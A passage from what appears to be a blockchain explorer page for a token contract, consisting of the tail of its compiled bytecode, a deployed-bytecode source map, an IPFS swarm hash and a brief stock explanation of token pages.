01945b838610156110805761107186610ea6565b85529482019493820193611060565b985050880135955050506040860135925061109f905060608601610ea6565b905092959194509250565b5f80604083850312156110bb575f80fd5b82356110c681610e8f565b915060208301356110d681610e8f565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f6001820161111a5761111a6110f5565b5060010190565b80516001600160701b0381168114610eb1575f80fd5b5f805f60608486031215611149575f80fd5b61115284611121565b925061116060208501611121565b9150604084015163ffffffff81168114611178575f80fd5b809150509250925092565b5f60208284031215611193575f80fd5b81516109f181610e8f565b808201808211156102cd576102cd6110f5565b5f602082840312156111c1575f80fd5b815180151581146109f1575f80fd5b5f826111ea57634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156102cd576102cd6110f556fea2646970667358221220631c0612e7f0e8ec60cf4a48f446777b34531e803d276ed104381e2e8b54b9f464736f6c63430008140033

Deployed Bytecode Sourcemap

1812:8001:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2483:36;;;;;;;;;;;;;;;-1:-1:-1;;;2483:36:0;;;;;;;;;;;;:::i;:::-;;;;;;;;4456:158;;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;4456:158:0;1162:187:1;2613:45:0;;;;;;;;;1500:25:1;;;1488:2;1473:18;2613:45:0;1354:177:1;7667:421:0;;;;;;:::i;:::-;;:::i;:::-;;4622:248;;;;;;:::i;:::-;;:::i;2571:35::-;;2604:2;2571:35;;;;;2931:4:1;2919:17;;;2901:36;;2889:2;2874:18;2571:35:0;2759:184:1;7369:290:0;;;;;;:::i;:::-;;:::i;4878:242::-;;;;;;:::i;:::-;;:::i;8104:86::-;;;;;;:::i;:::-;;:::i;4020:117::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4112:17:0;4085:7;4112:17;;;:8;:17;;;;;;;4020:117;3929:83;;;:::i;1895:20::-;;;;;-1:-1:-1;;;;;1895:20:0;;;;;;-1:-1:-1;;;;;3364:32:1;;;3346:51;;3334:2;3319:18;1895:20:0;3200:203:1;6995:358:0;;;;;;:::i;:::-;;:::i;8202:293::-;;;;;;:::i;:::-;;:::i;5128:438::-;;;;;;:::i;:::-;;:::i;4145:150::-;;;;;;:::i;:::-;;:::i;4303:145::-;;;;;;:::i;:::-;;:::i;4456:158::-;4530:4;4547:37;4556:10;4568:7;4577:6;4547:8;:37::i;:::-;-1:-1:-1;4602:4:0;4456:158;;;;;:::o;7667:421::-;3472:6;;-1:-1:-1;;;;;3472:6:0;3482:10;3472:20;3464:56;;;;-1:-1:-1;;;3464:56:0;;5474:2:1;3464:56:0;;;5456:21:1;5513:2;5493:18;;;5486:30;-1:-1:-1;;;5532:18:1;;;5525:53;5595:18;;3464:56:0;;;;;;;;;7824:9:::1;7819:262;7839:17:::0;;::::1;7819:262;;;7905:19;7882:20;7892:6;;7899:1;7892:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;7882:20::-;:42;7878:192;;;7945:20;7968:33;7981:6;;7988:1;7981:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;7992:8;7968:12;:33::i;:::-;7945:56;;8042:12;8020:8;:19;8029:6;;8036:1;8029:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8020:19:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;8020:19:0;:34;-1:-1:-1;7878:192:0::1;7858:3:::0;::::1;::::0;::::1;:::i;:::-;;;;7819:262;;;;7667:421:::0;;;;:::o;4622:248::-;4744:4;4761:41;4777:4;4783:10;4795:6;4761:15;:41::i;:::-;4813:27;4823:4;4829:2;4833:6;4813:9;:27::i;:::-;-1:-1:-1;4858:4:0;4622:248;;;;;:::o;7369:290::-;7434:7;7455:16;7473;7495:5;;;;;;;;;-1:-1:-1;;;;;7495:5:0;-1:-1:-1;;;;;7495:17:0;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7454:60;;;;;7525:24;7571:5;-1:-1:-1;;;;;7553:23:0;:5;;;;;;;;;-1:-1:-1;;;;;7553:5:0;-1:-1:-1;;;;;7553:12:0;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;7553:23:0;;7552:65;;7608:8;-1:-1:-1;;;;;7600:17:0;7552:65;;;7588:8;-1:-1:-1;;;;;7580:17:0;7552:65;7525:92;7369:290;-1:-1:-1;;;;;7369:290:0:o;4878:242::-;4966:4;5001:10;5022:68;5001:10;5040:7;5079:10;5049:27;5001:10;5040:7;5049:9;:27::i;:::-;:40;;;;:::i;:::-;5022:8;:68::i;8104:86::-;3357:5;;-1:-1:-1;;;;;3357:5:0;3366:10;3357:19;3349:55;;;;-1:-1:-1;;;3349:55:0;;7264:2:1;3349:55:0;;;7246:21:1;7303:2;7283:18;;;7276:30;-1:-1:-1;;;7322:18:1;;;7315:53;7385:18;;3349:55:0;7062:347:1;3349:55:0;8166:6:::1;:16:::0;;-1:-1:-1;;;;;;8166:16:0::1;-1:-1:-1::0;;;;;8166:16:0;;;::::1;::::0;;;::::1;::::0;;8104:86::o;3929:83::-;3357:5;;-1:-1:-1;;;;;3357:5:0;3366:10;3357:19;3349:55;;;;-1:-1:-1;;;3349:55:0;;7264:2:1;3349:55:0;;;7246:21:1;7303:2;7283:18;;;7276:30;-1:-1:-1;;;7322:18:1;;;7315:53;7385:18;;3349:55:0;7062:347:1;3349:55:0;3986:5:::1;:18:::0;;-1:-1:-1;;;;;;3986:18:0::1;::::0;;3929:83::o;6995:358::-;3472:6;;7173:4;;-1:-1:-1;;;;;3472:6:0;3482:10;3472:20;3464:56;;;;-1:-1:-1;;;3464:56:0;;5474:2:1;3464:56:0;;;5456:21:1;5513:2;5493:18;;;5486:30;-1:-1:-1;;;5532:18:1;;;5525:53;5595:18;;3464:56:0;5272:347:1;3464:56:0;7195:9:::1;7190:134;7214:10;:17;7210:1;:21;7190:134;;;7253:59;7259:10;7270:1;7259:13;;;;;;;;:::i;:::-;;;;;;;7274:11;7287:10;7299:12;7253:5;:59::i;:::-;7233:3:::0;::::1;::::0;::::1;:::i;:::-;;;;7190:134;;;-1:-1:-1::0;7341:4:0::1;::::0;6995:358;-1:-1:-1;;;;;6995:358:0:o;8202:293::-;8304:9;8299:189;8319:22;;;8299:189;;;8403:11;;8415:1;8403:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;8374:10;;8368:50;;;7661:25:1;;;8374:10:0;7717:2:1;7702:18;;7695:34;;;7745:18;;;7738:34;7803:2;7788:18;;7781:34;;;8368:50:0;;-1:-1:-1;;;;;8368:50:0;;;;8374:10;;;;8368:50;;;;;7648:3:1;8368:50:0;;;8455:11;;8467:1;8455:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;8447:6;;8438:38;;1500:25:1;;;-1:-1:-1;;;;;8438:38:0;;;;8447:6;;;;8438:38;;1488:2:1;1473:18;8438:38:0;;;;;;;8343:3;;;;:::i;:::-;;;;8299:189;;5128:438;5221:4;5256:10;5221:4;5304:27;5256:10;5323:7;5304:9;:27::i;:::-;5277:54;;5370:15;5350:16;:35;;5342:85;;;;-1:-1:-1;;;5342:85:0;;8028:2:1;5342:85:0;;;8010:21:1;8067:2;8047:18;;;8040:30;8106:34;8086:18;;;8079:62;-1:-1:-1;;;8157:18:1;;;8150:35;8202:19;;5342:85:0;7826:401:1;5342:85:0;5463:62;5472:7;5481;5509:15;5490:16;:34;5463:8;:62::i;:::-;-1:-1:-1;5554:4:0;;5128:438;-1:-1:-1;;;;5128:438:0:o;4145:150::-;4215:4;4232:33;4242:10;4254:2;4258:6;4232:9;:33::i;4303:145::-;-1:-1:-1;;;;;4412:19:0;;;4385:7;4412:19;;;:10;:19;;;;;;;;:28;;;;;;;;;;;;;4303:145::o;6133:387::-;-1:-1:-1;;;;;6271:21:0;;6263:70;;;;-1:-1:-1;;;6263:70:0;;8434:2:1;6263:70:0;;;8416:21:1;8473:2;8453:18;;;8446:30;8512:34;8492:18;;;8485:62;-1:-1:-1;;;8563:18:1;;;8556:34;8607:19;;6263:70:0;8232:400:1;6263:70:0;-1:-1:-1;;;;;6352:21:0;;6344:68;;;;-1:-1:-1;;;6344:68:0;;8839:2:1;6344:68:0;;;8821:21:1;8878:2;8858:18;;;8851:30;8917:34;8897:18;;;8890:62;-1:-1:-1;;;8968:18:1;;;8961:32;9010:19;;6344:68:0;8637:398:1;6344:68:0;-1:-1:-1;;;;;6425:19:0;;;;;;;:10;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;6478:34;;1500:25:1;;;6478:34:0;;1473:18:1;6478:34:0;;;;;;;;6133:387;;;:::o;9220:146::-;-1:-1:-1;;;;;9332:15:0;;9298:7;9332:15;;;:8;:15;;;;;;9325:33;;9349:8;9325:6;:33::i;:::-;9318:40;9220:146;-1:-1:-1;;;9220:146:0:o;6528:459::-;6665:24;6692:27;6702:7;6711;6692:9;:27::i;:::-;6665:54;;-1:-1:-1;;6734:16:0;:37;6730:250;;6816:6;6796:16;:26;;6788:68;;;;-1:-1:-1;;;6788:68:0;;9242:2:1;6788:68:0;;;9224:21:1;9281:2;9261:18;;;9254:30;9320:31;9300:18;;;9293:59;9369:18;;6788:68:0;9040:353:1;6788:68:0;6900:53;6909:7;6918;6946:6;6927:16;:25;6900:8;:53::i;:::-;6654:333;6528:459;;;:::o;5574:551::-;-1:-1:-1;;;;;5705:18:0;;5697:68;;;;-1:-1:-1;;;5697:68:0;;9600:2:1;5697:68:0;;;9582:21:1;9639:2;9619:18;;;9612:30;9678:34;9658:18;;;9651:62;-1:-1:-1;;;9729:18:1;;;9722:35;9774:19;;5697:68:0;9398:401:1;5697:68:0;-1:-1:-1;;;;;5784:16:0;;5776:64;;;;-1:-1:-1;;;5776:64:0;;10006:2:1;5776:64:0;;;9988:21:1;10045:2;10025:18;;;10018:30;10084:34;10064:18;;;10057:62;-1:-1:-1;;;10135:18:1;;;10128:33;10178:19;;5776:64:0;9804:399:1;5776:64:0;-1:-1:-1;;;;;5875:14:0;;5853:19;5875:14;;;:8;:14;;;;;;5908:21;;;;5900:72;;;;-1:-1:-1;;;5900:72:0;;10410:2:1;5900:72:0;;;10392:21:1;10449:2;10429:18;;;10422:30;10488:34;10468:18;;;10461:62;-1:-1:-1;;;10539:18:1;;;10532:36;10585:19;;5900:72:0;10208:402:1;5900:72:0;6000:24;6004:11;6017:6;6000:3;:24::i;:::-;-1:-1:-1;;;;;5983:14:0;;;;;;;:8;:14;;;;;;:41;;;;6054:12;;;;;;;6050:25;;6068:6;6050:3;:25::i;:::-;-1:-1:-1;;;;;6035:12:0;;;;;;;:8;:12;;;;;;;:40;;;;6091:26;;;;;;;;;;6110:6;1500:25:1;;1488:2;1473:18;;1354:177;6091:26:0;;;;;;;;5686:439;5574:551;;;:::o;8503:341::-;8663:37;8677:9;8688:11;8663:13;:37::i;:::-;8711:45;8721:11;8734:10;8746:9;8711;:45::i;:::-;8817:5;;8767:69;;-1:-1:-1;;;8767:69:0;;-1:-1:-1;;;;;10873:15:1;;;8767:69:0;;;10855:34:1;8817:5:0;;;10905:18:1;;;10898:43;10957:18;;;10950:34;;;8767:30:0;;;;;;10790:18:1;;8767:69:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;9709:101::-;9770:7;9797:5;9801:1;9797;:5;:::i;3737:184::-;3795:7;3828:1;3823;:6;;3815:49;;;;-1:-1:-1;;;3815:49:0;;11701:2:1;3815:49:0;;;11683:21:1;11740:2;11720:18;;;11713:30;11779:32;11759:18;;;11752:60;11829:18;;3815:49:0;11499:354:1;3815:49:0;3875:9;3887:5;3891:1;3887;:5;:::i;:::-;3875:17;3737:184;-1:-1:-1;;;;3737:184:0:o;3548:181::-;3606:7;;3638:5;3642:1;3638;:5;:::i;:::-;3626:17;;3667:1;3662;:6;;3654:46;;;;-1:-1:-1;;;3654:46:0;;12193:2:1;3654:46:0;;;12175:21:1;12232:2;12212:18;;;12205:30;12271:29;12251:18;;;12244:57;12318:18;;3654:46:0;11991:351:1;8852:144:0;8957:5;;8940:48;;1500:25:1;;;-1:-1:-1;;;;;8940:48:0;;;;8957:5;;8940:48;;1488:2:1;1473:18;8940:48:0;;;;;;;8852:144;;:::o;9004:208::-;9147:14;;9142:62;;;7661:25:1;;;9147:14:0;7717:2:1;7702:18;;7695:34;;;7745:18;;;7738:34;;;;7803:2;7788:18;;7781:34;;;-1:-1:-1;;;;;9142:62:0;;;;9147:14;;9142:62;;7648:3:1;7633:19;9142:62:0;7414:407:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:134::-;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1536:757::-;1640:6;1648;1656;1664;1717:2;1705:9;1696:7;1692:23;1688:32;1685:52;;;1733:1;1730;1723:12;1685:52;1773:9;1760:23;1802:18;1843:2;1835:6;1832:14;1829:34;;;1859:1;1856;1849:12;1829:34;1897:6;1886:9;1882:22;1872:32;;1942:7;1935:4;1931:2;1927:13;1923:27;1913:55;;1964:1;1961;1954:12;1913:55;2004:2;1991:16;2030:2;2022:6;2019:14;2016:34;;;2046:1;2043;2036:12;2016:34;2101:7;2094:4;2084:6;2081:1;2077:14;2073:2;2069:23;2065:34;2062:47;2059:67;;;2122:1;2119;2112:12;2059:67;2153:4;2145:13;;;;2177:6;;-1:-1:-1;2215:20:1;;;2202:34;;2283:2;2268:18;2255:32;;-1:-1:-1;1536:757:1;;-1:-1:-1;;;;1536:757:1:o;2298:456::-;2375:6;2383;2391;2444:2;2432:9;2423:7;2419:23;2415:32;2412:52;;;2460:1;2457;2450:12;2412:52;2499:9;2486:23;2518:31;2543:5;2518:31;:::i;:::-;2568:5;-1:-1:-1;2625:2:1;2610:18;;2597:32;2638:33;2597:32;2638:33;:::i;:::-;2298:456;;2690:7;;-1:-1:-1;;;2744:2:1;2729:18;;;;2716:32;;2298:456::o;2948:247::-;3007:6;3060:2;3048:9;3039:7;3035:23;3031:32;3028:52;;;3076:1;3073;3066:12;3028:52;3115:9;3102:23;3134:31;3159:5;3134:31;:::i;3408:127::-;3469:10;3464:3;3460:20;3457:1;3450:31;3500:4;3497:1;3490:15;3524:4;3521:1;3514:15;3540:1334;3651:6;3659;3667;3675;3728:3;3716:9;3707:7;3703:23;3699:33;3696:53;;;3745:1;3742;3735:12;3696:53;3785:9;3772:23;3814:18;3855:2;3847:6;3844:14;3841:34;;;3871:1;3868;3861:12;3841:34;3909:6;3898:9;3894:22;3884:32;;3954:7;3947:4;3943:2;3939:13;3935:27;3925:55;;3976:1;3973;3966:12;3925:55;4012:2;3999:16;4034:4;4057:2;4053;4050:10;4047:36;;;4063:18;;:::i;:::-;4109:2;4106:1;4102:10;4141:2;4135:9;4204:2;4200:7;4195:2;4191;4187:11;4183:25;4175:6;4171:38;4259:6;4247:10;4244:22;4239:2;4227:10;4224:18;4221:46;4218:72;;;4270:18;;:::i;:::-;4306:2;4299:22;4356:18;;;4390:15;;;;-1:-1:-1;4432:11:1;;;4428:20;;;4460:19;;;4457:39;;;4492:1;4489;4482:12;4457:39;4516:11;;;;4536:148;4552:6;4547:3;4544:15;4536:148;;;4618:23;4637:3;4618:23;:::i;:::-;4606:36;;4569:12;;;;4662;;;;4536:148;;;4703:6;-1:-1:-1;;4741:18:1;;4728:32;;-1:-1:-1;;;4807:2:1;4792:18;;4779:32;;-1:-1:-1;4830:38:1;;-1:-1:-1;4864:2:1;4849:18;;4830:38;:::i;:::-;4820:48;;3540:1334;;;;;;;:::o;4879:388::-;4947:6;4955;5008:2;4996:9;4987:7;4983:23;4979:32;4976:52;;;5024:1;5021;5014:12;4976:52;5063:9;5050:23;5082:31;5107:5;5082:31;:::i;:::-;5132:5;-1:-1:-1;5189:2:1;5174:18;;5161:32;5202:33;5161:32;5202:33;:::i;:::-;5254:7;5244:17;;;4879:388;;;;;:::o;5624:127::-;5685:10;5680:3;5676:20;5673:1;5666:31;5716:4;5713:1;5706:15;5740:4;5737:1;5730:15;5756:127;5817:10;5812:3;5808:20;5805:1;5798:31;5848:4;5845:1;5838:15;5872:4;5869:1;5862:15;5888:135;5927:3;5948:17;;;5945:43;;5968:18;;:::i;:::-;-1:-1:-1;6015:1:1;6004:13;;5888:135::o;6028:188::-;6107:13;;-1:-1:-1;;;;;6149:42:1;;6139:53;;6129:81;;6206:1;6203;6196:12;6221:450;6308:6;6316;6324;6377:2;6365:9;6356:7;6352:23;6348:32;6345:52;;;6393:1;6390;6383:12;6345:52;6416:40;6446:9;6416:40;:::i;:::-;6406:50;;6475:49;6520:2;6509:9;6505:18;6475:49;:::i;:::-;6465:59;;6567:2;6556:9;6552:18;6546:25;6611:10;6604:5;6600:22;6593:5;6590:33;6580:61;;6637:1;6634;6627:12;6580:61;6660:5;6650:15;;;6221:450;;;;;:::o;6676:251::-;6746:6;6799:2;6787:9;6778:7;6774:23;6770:32;6767:52;;;6815:1;6812;6805:12;6767:52;6847:9;6841:16;6866:31;6891:5;6866:31;:::i;6932:125::-;6997:9;;;7018:10;;;7015:36;;;7031:18;;:::i;10995:277::-;11062:6;11115:2;11103:9;11094:7;11090:23;11086:32;11083:52;;;11131:1;11128;11121:12;11083:52;11163:9;11157:16;11216:5;11209:13;11202:21;11195:5;11192:32;11182:60;;11238:1;11235;11228:12;11277:217;11317:1;11343;11333:132;;11387:10;11382:3;11378:20;11375:1;11368:31;11422:4;11419:1;11412:15;11450:4;11447:1;11440:15;11333:132;-1:-1:-1;11479:9:1;;11277:217::o;11858:128::-;11925:9;;;11946:11;;;11943:37;;;11960:18;;:::i

Swarm Source

ipfs://631c0612e7f0e8ec60cf4a48f446777b34531e803d276ed104381e2e8b54b9f4
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.